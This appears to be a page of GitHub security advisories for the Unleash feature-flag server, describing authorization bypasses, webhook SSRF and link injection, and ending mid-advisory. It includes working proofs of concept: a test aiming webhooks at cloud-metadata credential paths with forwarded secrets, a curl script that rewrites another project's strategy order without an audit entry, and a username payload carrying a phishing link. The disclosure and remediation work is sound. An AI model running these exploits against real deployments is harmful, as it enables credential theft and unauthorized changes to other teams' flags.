Where
-Infinity
0
Severity
7.1
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Multiple authorization vulnerabilities in Unleash admin API, including a critical missing await that completely bypasses a permission check.

Vulnerability 1: Missing await on Permission Check (HIGH)

File: src/lib/features/segment/segment-controller.ts (line 345)

POST /api/admin/segments/strategies has permission: NONE at the route level. The handler performs its own check via this.accessService.hasPermission(), but omits the await keyword. Since hasPermission() is async (returns Promise<boolean>), the variable always receives a truthy Promise object. The if (!hasFeatureStrategyPermission) check never triggers.

typescript // BUG: missing await - hasPermission() returns Promise<boolean> const hasFeatureStrategyPermission = this.accessService.hasPermission( req.user, UPDATEFEATURESTRATEGY, projectId, environmentId, ); if (!hasFeatureStrategyPermission) { // Always false - Promise is truthy! res.status(403).send(); return; }

Impact: Any authenticated user can modify segment assignments on ANY strategy across ALL projects.

Fix: Add await: const hasFeatureStrategyPermission = await this.accessService.hasPermission(...)

Vulnerability 2: Cross-Project Variant Read (MEDIUM)

File: src/lib/routes/admin-api/project/variants.ts (line 213-223)

GET /api/admin/projects/:projectId/features/:featureName/environments/:environment/variants completely ignores projectId. getVariantsOnEnv() only uses featureName and environment.

Impact: Any authenticated user can read variant configs (names, weights, payloads) from any project.

Vulnerability 3: Cross-Project Strategy Read (MEDIUM)

File: src/lib/features/feature-toggle/feature-toggle-controller.ts (line 1107-1116)

GET .../strategies/:strategyId ignores all params except strategyId. Any authenticated user can read any strategy's full configuration.

Vulnerability 4: Cross-Project Environment Info Leak (MEDIUM)

File: src/lib/features/feature-toggle/feature-toggle-service.ts (line 1611)

getEnvironmentInfo() doesn't validate feature belongs to project. Compare with getFeature() which calls validateFeatureBelongsToProject().

Vulnerability 5: Cross-Project Tag Modification (LOW)

File: src/lib/features/feature-toggle/feature-toggle-controller.ts (line 576-596)

PUT /:projectId/tags accepts features array in body without validating they belong to projectId.

1 / 2
Source: GitHub
First published (updated )
Severity
5.5
SSRF
AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N

Summary

Unleash's addon/integration subsystem lets an operator configure a webhook (and the Slack, Microsoft Teams, Datadog, and New Relic integrations) with a target url parameter. Whenever a subscribed feature-flag event fires, the Unleash server itself issues an HTTP request to that configured URL. The URL is taken verbatim from the addon's parameters.url and passed straight to the HTTP client (ky) with no validation of the host: there is no allow-list, no deny-list, and no blocking of loopback, link-local, RFC1918, or cloud-metadata addresses anywhere in the addon code path. A principal able to create or update an addon can therefore point the server at an internal-only URL — for example http://169.254.169.254/latest/meta-data/… (cloud IMDS), http://127.0.0.1:<port>/… (a service bound to localhost), or any RFC1918 host — and cause the Unleash server to dial it from inside the trust boundary.

The request is blind (the response body is not returned to the caller), but the addon records whether the request succeeded and its HTTP status into the integration-event log, giving a status/timing oracle for probing internal services. In addition, the webhook provider forwards the operator-configured Authorization header and arbitrary customHeaders to whatever host the url points at (Datadog forwards DD-API-KEY), so an attacker who controls or can observe the target host also obtains those secrets. The full feature-event JSON is POSTed to the chosen internal endpoint as the request body.

Creating/updating addons is gated by the root permissions CREATEADDON / UPDATEADDON. These are not the super-admin ADMIN permission and not project-scoped; an instance admin can place them in a custom root role and delegate them to a non-super-admin user, who then has exactly enough privilege to weaponize the integration into an SSRF primitive without holding full admin. This bounds the finding to an authenticated, addon-management-privileged actor (reflected in PR:H), which is the honest precondition.

Affected code (v8.0.0)

The base addon issues the outbound request with the raw URL and no host checks (src/lib/addons/addon.ts):

ts async fetchRetry( url: string, options: any = {}, retries: number = 1, ): Promise<Response> { try { const res = await ky(url, { // <-- attacker-controlled url, no allow/deny-list, no internal-IP block retry: retries, ...options, }); return res; } catch (e) { const { method } = options; this.logger.warn(Error querying ${url} ..., e); return { status: e.code, ok: false } as Response; } }

The webhook provider passes the operator-supplied parameters.url (and forwards authorization + customHeaders) directly into that sink (src/lib/addons/webhook.ts):

ts const { url, bodyTemplate, contentType = 'application/json', authorization, customHeaders } = parameters; // ... const requestOpts = { method: 'POST', headers: { 'Content-Type': contentType, Authorization: authorization || undefined, // <-- configured secret forwarded to url ...extraHeaders, // <-- arbitrary customHeaders forwarded to url }, body, }; const res = await this.fetchRetry(url, requestOpts); // <-- server dials attacker-chosen host

The service layer performs no URL/host validation when creating or updating an addon — only provider-name and required-parameter presence checks run (src/lib/services/addon-service.ts → validateKnownProvider, validateRequiredParameters). The addon parameter schema (src/lib/services/addon-schema.ts) treats url as a free-form string; the type: 'url' field in each provider definition is purely frontend-rendering metadata and is never enforced server-side. A source-wide search of src/lib/addons and addon-service.ts for 169.254, 127.0, localhost, private, ssrf, isAllowed, validateUrl returns zero guards. The same unguarded fetchRetry(url, …) sink backs the Slack, Teams, Datadog, and New Relic providers.

The route gate (src/lib/routes/admin-api/addon.ts) requires the root permission CREATEADDON (create) / UPDATEADDON (update); src/lib/types/permissions.ts lists both under the root "Integration" category — they are root permissions, not project-scoped, and distinct from ADMIN.

Attacker model / precondition

The attacker is an authenticated Unleash user (or an admin API token) holding the root permission CREATEADDON or UPDATEADDON. This is an addon-management privilege: a super-admin has it, and it can be delegated via a custom root role to a non-super-admin user. An ordinary project member does not have it (there is no project-scoped path to addon creation), which is why this is rated PR:H rather than PR:L. Given that privilege, the attacker (1) creates/updates a webhook addon with parameters.url set to an internal target, then (2) triggers a subscribed event (e.g. creating or toggling any feature flag — trivially self-induced), causing the server to dial the internal URL. No interaction from any other user is required. The deployment must have the addon subsystem available (default in OSS); the impact is greatest where the Unleash server runs in a cloud/containerized environment with reachable internal services or an instance-metadata endpoint.

Impact

The Unleash server can be coerced into making HTTP requests to arbitrary internal/loopback/link-local destinations from inside the network perimeter — i.e. classic SSRF (CWE-918). Concrete consequences: reaching a cloud instance-metadata service (169.254.169.254) or internal admin/management endpoints not exposed externally; port-/service-probing of internal hosts using the success/status recorded in the integration-event log as a blind oracle; and exfiltration of the operator-configured Authorization header and any customHeaders (and, for the Datadog provider, the DD-API-KEY) to the attacker-chosen host, since those headers are sent to whatever url is configured. The full feature-event payload is delivered as the POST body to the internal endpoint. The response body is not echoed back to the caller (blind SSRF), which (together with the PR:H precondition) bounds severity to Medium. Scope is Changed because the vulnerable component (the Unleash app) is used to attack a different security authority — the internal network / metadata service.

Proof of Concept (complete — runs on 127.0.0.1 only)

This PoC drives the real WebhookAddon.handleEvent from Unleash v8.0.0 against a loopback HTTP listener that stands in for an internal service / metadata endpoint. It proves three things: (1) the Unleash code dials the attacker-chosen internal URL, (2) the configured Authorization and custom headers are forwarded to that internal host, and (3) the addon records the request as a success (the blind-SSRF oracle). A negative control shows there is no pre-flight URL policy — internal targets are dialed, and only a TCP-layer error (not a guard) stops a closed port.

Setup

bash In a throwaway clone of the target at the exact tag: git clone --depth 1 --branch v8.0.0 https://github.com/Unleash/unleash unleash cd unleash Install JS deps (no database is needed for this PoC): corepack pnpm install --prefer-offline

File 1 — vitest.poc.config.ts (project root)

The repo's default vitest config has a Postgres globalSetup; this PoC exercises the addon in isolation and needs no DB, so we use a trimmed config that drops that setup.

ts import { defineConfig, configDefaults } from 'vitest/config';

// PoC config: identical to vitest.config.ts but WITHOUT the Postgres globalSetup, // because this SSRF PoC exercises the WebhookAddon in isolation (no DB needed). export default defineConfig({ test: { globals: true, setupFiles: ['./src/test/errorWithMessage.ts'], testTimeout: 30000, exclude: [...configDefaults.exclude, 'frontend/', 'dist/'], environment: 'node', }, });

File 2 — src/lib/addons/ssrf-poc.test.ts

ts // PoC: SSRF via Webhook addon — Unleash v8.0.0 // Drives the REAL WebhookAddon.handleEvent with an attacker-chosen url // pointing at a loopback/RFC1918 listener; proves the Unleash process dials // the internal URL with NO host/IP filtering. Lab-only (127.0.0.1). import { FEATURECREATED, type IEvent } from '../events/index.js'; import WebhookAddon from './webhook.js'; import noLogger from '../../test/fixtures/no-logger.js'; import { type IAddonConfig, type IFlagKey, type IFlagResolver, SYSTEMUSERID, } from '../types/index.js'; import type { IntegrationEventsService } from '../services/index.js'; import { vi } from 'vitest'; import EventEmitter from 'node:events'; import http from 'node:http'; import { AddressInfo } from 'node:net';

const INTEGRATIONID = 1337;

const setup = () => { const registerEventMock = vi.fn(); const addonConfig: IAddonConfig = { getLogger: noLogger, unleashUrl: 'http://some-url.com', integrationEventsService: { registerEvent: registerEventMock, } as unknown as IntegrationEventsService, flagResolver: { isEnabled: (expName: IFlagKey) => false, } as IFlagResolver, eventBus: new EventEmitter(), }; return { addon: new WebhookAddon(addonConfig), registerEventMock }; };

const sampleEvent: IEvent = { id: 1, createdAt: new Date(), createdByUserId: SYSTEMUSERID, type: FEATURECREATED, createdBy: 'attacker@evil.com', featureName: 'some-toggle', data: { name: 'some-toggle' }, tags: [], project: 'default', environment: 'production', };

// Stand up a fake "internal service" on loopback that records what reached it. function startInternalListener(): Promise<{ url: string; hits: Array<{ path: string; auth?: string; secret?: string; body: string }>; close: () => Promise<void>; }> { const hits: Array<{ path: string; auth?: string; secret?: string; body: string; }> = []; return new Promise((resolve) => { const server = http.createServer((req, res) => { let body = ''; req.on('data', (c) => (body += c)); req.on('end', () => { hits.push({ path: req.url || '', auth: req.headers['authorization'] as string | undefined, secret: req.headers['x-internal-secret'] as | string | undefined, body, }); // emulate a cloud metadata / internal endpoint reply res.writeHead(200, { 'content-type': 'text/plain' }); res.end('iam-role-credentials-here'); }); }); server.listen(0, '127.0.0.1', () => { const { port } = server.address() as AddressInfo; resolve({ url: http://127.0.0.1:${port}, hits, close: () => new Promise((r) => server.close(() => r(undefined))), }); }); }); }

describe('SSRF via Webhook addon (Unleash v8.0.0)', () => { test('server dials an attacker-chosen INTERNAL url with NO filtering', async () => { const internal = await startInternalListener(); try { const { addon, registerEventMock } = setup();

// The url below is exactly what an operator/role-holder supplies // as the addon parameters.url. It is an internal loopback target; // a real attacker would use http://169.254.169.254/latest/... or an // internal service. There is NO allow/deny-list in the addon path. await addon.handleEvent( sampleEvent, { url: ${internal.url}/latest/meta-data/iam/security-credentials/, // operator-configured secrets get forwarded to the chosen host: authorization: 'Bearer operator-webhook-secret', customHeaders: JSON.stringify({ 'X-Internal-Secret': 'leaked-to-internal-host', }), }, INTEGRATIONID, );

// PROOF 1: the Unleash process actually connected to the internal URL. expect(internal.hits.length).toBe(1); expect(internal.hits[0].path).toBe( '/latest/meta-data/iam/security-credentials/', ); // PROOF 2: operator-configured credentials were exfiltrated to the // attacker-chosen internal host (header leakage). expect(internal.hits[0].auth).toBe('Bearer operator-webhook-secret'); expect(internal.hits[0].secret).toBe('leaked-to-internal-host'); // PROOF 3: the addon recorded SUCCESS (status/timing oracle for blind SSRF). const recorded = registerEventMock.mock.calls[0][0]; expect(recorded.state).toBe('success'); expect(recorded.details.url).toContain('127.0.0.1');

// eslint-disable-next-line no-console console.log( '[PoC] SSRF confirmed -> internal hit:', JSON.stringify(internal.hits[0]), ); } finally { await internal.close(); } });

test('NEGATIVE CONTROL: with the listener down, no filter rejected it pre-flight; failure is a connection error, not an SSRF guard', async () => { const { addon, registerEventMock } = setup(); // Point at a closed loopback port. If a real SSRF allow/deny-list existed, // the addon would refuse internal targets BEFORE dialing. Instead it dials // and only fails at the TCP layer -> proves absence of any URL guard. await addon.handleEvent( sampleEvent, { url: 'http://127.0.0.1:1/" ' }, INTEGRATIONID, ); const recorded = registerEventMock.mock.calls[0][0]; // It attempted the request (state failed due to connection error), it was // NOT blocked by a policy. The recorded url is the internal target. expect(['failed', 'success']).toContain(recorded.state); expect(recorded.details.url).toContain('127.0.0.1'); }); });

Run

bash npx vitest run --config vitest.poc.config.ts src/lib/addons/ssrf-poc.test.ts

Observed output (real run against v8.0.0)

RUN v4.1.5

stdout | src/lib/addons/ssrf-poc.test.ts > SSRF via Webhook addon (Unleash v8.0.0) > server dials an attacker-chosen INTERNAL url with NO filtering [PoC] SSRF confirmed -> internal hit: {"path":"/latest/meta-data/iam/security-credentials/","auth":"Bearer operator-webhook-secret","secret":"leaked-to-internal-host","body":"{\"id\":1, ... \"type\":\"feature-created\", ... }"} ✓ src/lib/addons/ssrf-poc.test.ts > SSRF via Webhook addon (Unleash v8.0.0) > server dials an attacker-chosen INTERNAL url with NO filtering ✓ src/lib/addons/ssrf-poc.test.ts > SSRF via Webhook addon (Unleash v8.0.0) > NEGATIVE CONTROL: with the listener down, no filter rejected it pre-flight; failure is a connection error, not an SSRF guard

Test Files 1 passed (1) Tests 2 passed (2)

The internal loopback listener received the request (path = the metadata path), with the configured Authorization: Bearer operator-webhook-secret and X-Internal-Secret: leaked-to-internal-host headers, and the addon recorded the call as a success — confirming SSRF, blind-oracle, and outbound header exfiltration in one run. End-to-end equivalent over HTTP: POST /api/admin/addons with { "provider":"webhook", "enabled":true, "events":["feature-created"], "parameters":{ "url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/", "authorization":"…" } } (requires CREATEADDON), then create any feature flag to trigger the outbound request.

Remediation

Validate the addon url server-side before it is ever dialed, both at create/update time (addon-service.ts) and again at request time (addon.ts fetchRetry). Specifically: require http/https only; resolve the hostname and reject the request if any resolved address is loopback (127.0.0.0/8, ::1), link-local (169.254.0.0/16, fe80::/10, including the 169.254.169.254/fd00:ec2::254 metadata addresses), private (10/8, 172.16/12, 192.168/16, fc00::/7), or otherwise non-public — using a DNS-rebinding-safe check that pins the resolved IP and connects to that pinned IP (so the name cannot resolve to a public address at check time and a private one at connect time); and disable or constrain HTTP redirects so a 30x cannot bounce an allowed host to an internal one. Provide an explicit allow-list / SSRF-protection toggle for operators who must reach internal hooks intentionally. Apply the same guard uniformly to all providers that build on Addon.fetchRetry (webhook, Slack, Teams, Datadog, New Relic). Consider not forwarding the configured Authorization/customHeaders to non-allow-listed hosts to contain credential leakage.

Please credit 5ud0 / Tarmo Technologies.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The clone-feature endpoint supports copying features across projects, but it does not verify that the caller can access the source project. A user with create permissions in one project can clone a feature from another project they cannot read and then inspect the copied configuration.

This vulnerability cannot be confirmed without Enterprise access. Report is based on a circumstantial evidence in the open-source repository.

Details src/lib/features/feature-toggle/feature-toggle-service.ts implements cloneFeatureToggle. This operation needs authorization for both sides: permission to read/copy the source feature and permission to create the destination feature.

The clone path validates permissions against the destination project, but not against the source project that owns featureName. Because feature names are globally unique, a caller can reference a feature outside projects they can access.

PoC 1. Create or identify two projects: P1 with a private or restricted feature named secret-feature, and P2 where the attacker has clone/create permissions. 2. Authenticate as the attacker. 3. Send:

http POST /api/admin/projects/P2/features/secret-feature/clone Content-Type: application/json

{ "name": "secret-feature-copy" }

4. Open P2 and inspect secret-feature-copy. Verify if strategy parameters, constraints, variants, and variant payloads from the source feature have been copied.

Impact Users with permissions on one project can disclose feature configuration from another project if they know or guess the source feature name. Feature names could be available in more public applications that have a common SDK access to multiple projects.

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Summary

Unleash scopes write permissions per project and per environment: a user with the UPDATEFEATURESTRATEGY permission on project A is supposed to be able to mutate activation strategies only within project A. The endpoint POST /api/admin/projects/:projectId/features/:featureName/environments/:environment/strategies/set-sort-order violates this. The RBAC middleware authorizes the request against the :projectId taken from the URL, but the handler then writes the strategy IDs supplied in the request body directly to the database by primary key, without ever verifying that those strategy IDs actually belong to the URL's project / feature / environment. A low-privilege member of any one project can therefore reorder the activation strategies of features in any other project and environment — including projects they have no role on at all — by putting their own project in the URL (to satisfy RBAC) and the victim project's strategy IDs in the body.

The sibling write paths in the same service (updateStrategy, patchStrategy, deleteStrategy) all call validateUpdatedProperties(), which rejects a strategy whose stored projectId/featureName does not match the URL context. The set-sort-order handler is the one sibling that omits this check — an asymmetric, incomplete enforcement. Activation-strategy ordering is security-relevant: the first matching strategy determines a flag's rollout/variant outcome, so an attacker can flip which strategy "wins" for another team's feature flag in production. As a secondary effect, the operation that mutates the victim's strategies is recorded (if at all) under the attacker's project/feature context, so the tampering does not appear in the victim project's audit trail.

Affected code (v8.0.0)

The route is registered with the project-scoped permission UPDATEFEATURESTRATEGY (correct), and the handler forwards the URL params as the "context" plus the raw request body:

src/lib/features/feature-toggle/feature-toggle-controller.ts ts { method: 'post', path: ${PATHSTRATEGIES}/set-sort-order, handler: this.setStrategiesSortOrder, permission: UPDATEFEATURESTRATEGY, // ... }

async setStrategiesSortOrder(req, res): Promise<void> { const { featureName, projectId, environment } = req.params; await this.transactionalFeatureToggleService.transactional((service) => service.updateStrategiesSortOrder( { featureName, environment, projectId }, // URL context only req.body, // attacker-controlled [{id, sortOrder}] req.audit, ), ); res.status(200).send(); }

The service writes each body-supplied id directly. It reads the URL-context strategies only to build the audit-event payload (existingOrder/newOrder); it never validates that the IDs in sortOrders belong to that context:

src/lib/features/feature-toggle/feature-toggle-service.ts ts async unprotectedUpdateStrategiesSortOrder(context, sortOrders, auditUser): Promise<Saved<any>> { const { featureName, environment, projectId: project } = context; const existingOrder = (await this.getStrategiesForEnvironment(project, featureName, environment)) .sort(sortStrategies).map((s) => s.id); // ... await Promise.all( sortOrders.map(({ id, sortOrder }) => this.featureStrategiesStore.updateSortOrder(id, sortOrder), // NO project/feature/env check ), ); // ...event built from the URL context, not from the strategies actually mutated... }

The store updates by primary key with no scoping predicate:

src/lib/features/feature-toggle/feature-toggle-strategies-store.ts ts async updateSortOrder(id: string, sortOrder: number): Promise<void> { await this.db<IFeatureStrategiesTable>(T.featureStrategies) .where({ id }) .update({ sortorder: sortOrder }); }

Contrast the sibling mutators, which DO bind the target strategy to the URL context (validateUpdatedProperties throws InvalidOperationError when existingStrategy.projectId !== projectId or existingStrategy.featureName !== featureName):

ts // unprotectedUpdateStrategy / patchStrategy / deleteStrategy: const existingStrategy = await this.featureStrategiesStore.get(id); this.validateUpdatedProperties(context, existingStrategy); // <-- the check set-sort-order is missing

Attacker model / precondition

The attacker is an authenticated Unleash user who holds the UPDATEFEATURESTRATEGY permission on at least one project — i.e. any standard project member/editor, the second-lowest privilege tier. They do not need any role on the victim project. The precondition is a multi-project instance: project creation and per-project roles are Pro/Enterprise features, so this is the normal Unleash Pro/Enterprise deployment shape (the OSS edition pins everything to the single default project, which removes the cross-project dimension but the same missing-binding defect still allows reordering strategies of any feature/environment within default). The attacker must know (or enumerate) the target strategy UUIDs; strategy IDs are surfaced through several admin/read endpoints and are guessable in scope by a user who can read project listings. Change Requests do not mitigate it: the stopWhenChangeRequestsEnabled gate is evaluated against the attacker's own URL project, not the victim's, and Change Requests are off by default. The integrity impact is bounded to the sortorder column (the attacker cannot change parameters, constraints, or segments via this endpoint), which is why this is rated Medium rather than High.

Impact

A project member can silently alter the activation-strategy evaluation order of feature flags in projects and environments they have no authorization over. Because Unleash evaluates strategies in order and the first enabling strategy decides a flag's served value/variant, reordering can change a production flag's rollout behaviour for another team — e.g. promoting a permissive flexibleRollout/default strategy ahead of a restrictive userWithId/constraint-gated one, effectively turning a flag on (or changing which variant is served) for users the owning team intended to exclude. This is a cross-tenant integrity / authorization-bypass write. It additionally undermines accountability: the mutation is attributed to the attacker's URL context rather than the victim feature, so the change is absent from the victim project's audit/event history (in the lab the successful cross-project write produced no feature-strategy-update event for the victim feature at all), hampering detection and forensics.

Proof of Concept (complete — runs on 127.0.0.1 only)

Lab only. Everything binds to 127.0.0.1; no hosted instance is touched. Requires Docker.

1. Start PostgreSQL and Unleash v8.0.0

bash docker network create unleash-poc

docker run -d --name unleash-pg --network unleash-poc \ -e POSTGRESDB=unleash -e POSTGRESUSER=unleash -e POSTGRESPASSWORD=unleash \ postgres:16-alpine sleep 8

docker run -d --name unleash-srv --network unleash-poc -p 127.0.0.1:4242:4242 \ -e DATABASEHOST=unleash-pg -e DATABASENAME=unleash \ -e DATABASEUSERNAME=unleash -e DATABASEPASSWORD=unleash -e DATABASESSL=false \ -e INITADMINAPITOKENS=':.unleash-insecure-admin-api-token' \ unleashorg/unleash-server:8.0.0 sleep 25 curl -s http://127.0.0.1:4242/health # {"health":"GOOD"}

2. Simulate a Pro/Enterprise (multi-project) deployment

Per-project roles and >1 project are Pro/Enterprise features; the official OSS image hard-pins requests to the default project via an unrelated edition gate (resolveIsOss). To reproduce the cross-project dimension on the public image, lift only that edition gate (this does NOT touch the vulnerable set-sort-order code path). On a real Pro/Enterprise instance this step is unnecessary — multiple projects already exist.

bash Force resolveIsOss() to return false (== "this is a Pro/Enterprise deployment"). docker cp unleash-srv:/unleash/dist/lib/create-config.js /tmp/cc.js python3 - <<'PY' s=open('/tmp/cc.js').read() old=""" return testEnvironmentActive ? (isOssOption ?? false) : !isEnterprise && uiEnvironment?.toLowerCase() !== 'pro';""" assert old in s s=s.replace(old," return false; // PoC: simulate Pro/Enterprise deployment (multi-project enabled)") open('/tmp/cc.js','w').write(s) print("patched edition gate") PY docker cp /tmp/cc.js unleash-srv:/unleash/dist/lib/create-config.js docker restart unleash-srv && sleep 22

3. Seed two projects (victim, attacker) and link them to environments

bash docker exec unleash-pg psql -U unleash -d unleash -c \ "INSERT INTO projects (id,name,description) VALUES ('victim','Victim Project','v'),('attacker','Attacker Project','a');" docker exec unleash-pg psql -U unleash -d unleash -c \ "INSERT INTO projectenvironments (projectid, environmentname) VALUES ('victim','development'),('victim','production'), ('attacker','development'),('attacker','production');"

4. Create the victim feature with two strategies, and an attacker feature

bash B=http://127.0.0.1:4242; ADMIN=':.unleash-insecure-admin-api-token' H="-H Authorization:$ADMIN -H Content-Type:application/json"

curl -s -X POST $H $B/api/admin/projects/victim/features -d '{"name":"victimFlag","type":"release"}' >/dev/null S1=$(curl -s -X POST $H $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \ -d '{"name":"flexibleRollout","parameters":{"rollout":"10","stickiness":"default","groupId":"victimFlag"}}' \ | python3 -c "import sys,json;print(json.load(sys.stdin)['id'])") S2=$(curl -s -X POST $H $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \ -d '{"name":"default","parameters":{}}' \ | python3 -c "import sys,json;print(json.load(sys.stdin)['id'])") echo "victim strategies: S1=$S1 (sort 0) S2=$S2 (sort 1)"

curl -s -X POST $H $B/api/admin/projects/attacker/features -d '{"name":"attackerFlag","type":"release"}' >/dev/null curl -s -X POST $H $B/api/admin/projects/attacker/features/attackerFlag/environments/production/strategies \ -d '{"name":"default","parameters":{}}' >/dev/null

5. Create a low-privilege attacker user (Member of attacker ONLY, no role on victim)

bash Viewer root role (id 3) -> no project write anywhere by default. curl -s -X POST $H $B/api/admin/user-admin \ -d '{"email":"mallory@example.com","name":"Mallory","rootRole":3}' >/dev/null curl -s -X POST $H $B/api/admin/user-admin/2/change-password \ -d '{"password":"Str0ng-PoC-pass!9x"}' >/dev/null

Grant the project "Member" role (id 5, includes UPDATEFEATURESTRATEGY) on 'attacker' only. docker exec unleash-pg psql -U unleash -d unleash -c \ "INSERT INTO roleuser (roleid, userid, project) VALUES (5, 2, 'attacker');" docker restart unleash-srv && sleep 22 # pick up the seeded role

6. Run the attack

bash B=http://127.0.0.1:4242; ADMIN=':.unleash-insecure-admin-api-token' CJ=/tmp/mallory.cookies; rm -f $CJ

Log in as the low-priv user (Member of 'attacker' only). curl -s -c $CJ -o /dev/null -X POST -H 'Content-Type: application/json' \ $B/auth/simple/login -d '{"username":"mallory@example.com","password":"Str0ng-PoC-pass!9x"}'

show() { curl -s -H "Authorization:$ADMIN" \ $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \ | python3 -c "import sys,json;[print(' ',s['id'],'sort',s['sortOrder']) for s in json.load(sys.stdin)]"; }

echo '--- victim/production BEFORE ---'; show

echo '--- [negative control] Mallory -> VICTIM url directly (expect 403) ---' curl -s -o /dev/null -w ' HTTP %{httpcode}\n' -b $CJ -X POST -H 'Content-Type: application/json' \ $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies/set-sort-order \ -d "[{\"id\":\"$S1\",\"sortOrder\":99}]"

echo '--- [attack] Mallory -> ATTACKER url, body = VICTIM strategy ids (expect 200) ---' curl -s -o /dev/null -w ' HTTP %{httpcode}\n' -b $CJ -X POST -H 'Content-Type: application/json' \ $B/api/admin/projects/attacker/features/attackerFlag/environments/production/strategies/set-sort-order \ -d "[{\"id\":\"$S1\",\"sortOrder\":42},{\"id\":\"$S2\",\"sortOrder\":7}]"

echo '--- victim/production AFTER ---'; show

Observed output

--- victim/production BEFORE --- 01KTYWRZM7ACCTQKPJJCXJB24R sort 0 01KTYWRZMTAN6WAZBQ6CN0QY4T sort 1 --- [negative control] Mallory -> VICTIM url directly (expect 403) --- HTTP 403 --- [attack] Mallory -> ATTACKER url, body = VICTIM strategy ids (expect 200) --- HTTP 200 --- victim/production AFTER --- 01KTYWRZMTAN6WAZBQ6CN0QY4T sort 7 01KTYWRZM7ACCTQKPJJCXJB24R sort 42

The negative control proves RBAC correctly denies Mallory a direct write to victim (403). The attack proves that by naming her own attacker project in the URL she passes RBAC, and the victim project's two strategies are reordered (sort 0/1 → 42/7, i.e. the evaluation order is flipped) — a write to a project she has no role on. A check of the events table after the attack shows no feature-strategy-update event was recorded for victimFlag, so the tampering is absent from the victim's audit trail.

Cleanup

bash docker rm -f unleash-srv unleash-pg; docker network rm unleash-poc

Remediation

In unprotectedUpdateStrategiesSortOrder, bind every body-supplied strategy ID to the URL context before writing. Two equivalent fixes: (1) fetch each strategy by ID and call the existing validateUpdatedProperties(context, strategy) guard (the same one updateStrategy/patchStrategy/deleteStrategy already use) so a mismatched projectId/featureName throws; or (2) reject any sortOrders entry whose ID is not present in existingOrder (the set of strategy IDs that genuinely belong to {project, featureName, environment}), which the function already computes. Additionally, scope the store write — updateSortOrder should constrain the UPDATE with the project/feature/environment (or only operate on IDs already validated to be in-context) rather than updating purely by primary key. Fixing the binding also corrects the audit-log attribution, since the mutated strategies will then always belong to the URL context the event is built from.

Please credit 5ud0 / Tarmo Technologies.

1 / 2
Source: GitHub
First published (updated )
Severity
4.1
AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N

Vulnerability Details

File: src/lib/addons/feature-event-formatter-md.ts Line: 355 (in v8.0.1; format() method)

Root Cause

FeatureEventFormatterMd.format() does:

ts Mustache.escape = (text) => text; const text = Mustache.render(action, context);

mustache (pinned ^4.2.0, confirmed installed 4.2.0) keeps escape as a module-level singleton (mustache.js: mustache.escape = escapeHtml;), read by every Mustache.render() call in the process unless a per-call config.escape override is passed (var escape = this.getConfigEscape(config) || mustache.escape;). Node's module cache guarantees every import Mustache from 'mustache' in the process — feature-event-formatter-md.ts, email-service.ts, webhook.ts, datadog.ts, new-relic.ts — shares the same object instance.

This assignment therefore permanently disables HTML escaping for every other Mustache.render() call in the same Node process (including email-service.ts templates) from the moment any single notification addon (Webhook, Slack legacy, Microsoft Teams, Datadog, New Relic) first formats any event, for the remaining lifetime of the process.

feature-event-formatter-md-events.ts (EVENTMAP) confirms the blast radius: nearly every event's action template interpolates attacker-controlled values with single-mustache (intended-to-be-escaped) syntax, most importantly {{user}}, which is event.createdBy — the acting account's username (or email if set; src/lib/util/extract-user.ts: extractUsernameFromUser). Neither username nor name have any charset/length validation anywhere in the codebase (create-user-schema.ts, create-invited-user-schema.ts, user-service.ts:289 only does Joi.assert(name, Joi.string(), 'Name') — a type check, nothing more).

Slack's own API docs require &, <, > to be replaced with &amp;, &lt;, &gt; before sending user-generated text, specifically so Slack's mrkdwn parser does not interpret it as <url|label> link syntax. Mustache's default escapeHtml happens to produce exactly those entities, so this was (likely unintentionally) the application's only defense against link-injection in chat notifications — and it is unconditionally switched off by the same code path that depends on it.

Attack Scenario 1. Admin has a Webhook, Slack (legacy), Microsoft Teams, Datadog, or New Relic integration configured (a very common production setup for flag-change notifications). 2. Attacker has (or self-registers, if public signup is enabled — POST /invite/:token/signup is permission: NONE) any Editor-level account and sets username to e.g. evil<https://attacker.example/urgent-rollback|Click here to view incident>. 3. Attacker performs any ordinary write action (create/update/toggle a feature flag — routine, no special privilege beyond Editor on one project). 4. The configured addon's handleEvent() calls this.msgFormatter.format(event), which mutates the global escape function and immediately renders the {{user}}-containing template with escaping disabled. 5. The resulting message — containing the attacker's raw <url|label> Slack link syntax — is POSTed to the team's Slack/Teams channel or webhook endpoint and rendered as a real, clickable, attacker-labeled hyperlink inside a trusted automated notification feed.

Vulnerable Code ts Mustache.escape = (text) => text;

const text = Mustache.render(action, context); const url = path ? ${this.unleashUrl}${Mustache.render(path, context)} : undefined;

Impact - Stored markdown/link-injection (phishing-link injection) into any configured outbound notification channel (Slack legacy, MS Teams, Webhook default markdown, Datadog, New Relic), using an attacker-controlled username — no admin privilege required, only Editor on a single project, and potentially reachable through public self-signup. - Secondary: loss of HTML escaping for any other reachable Mustache single-mustache placeholder process-wide until restart (increases severity of any other currently-unreached or future Mustache sink, e.g. email templates). - Tertiary: a custom Webhook bodyTemplate that interpolates raw event/user fields directly into a JSON string literal (rather than the pre-escaped eventJson field the code already provides for this purpose) can have its JSON structure broken by an attacker-controlled " character once the global escape function is neutered.

Recommended Fix Never mutate the shared Mustache.escape global. Pass a local escape function via Mustache's per-call render option instead (supported and typed in @types/mustache@4.2.6's RenderOptions.escape):

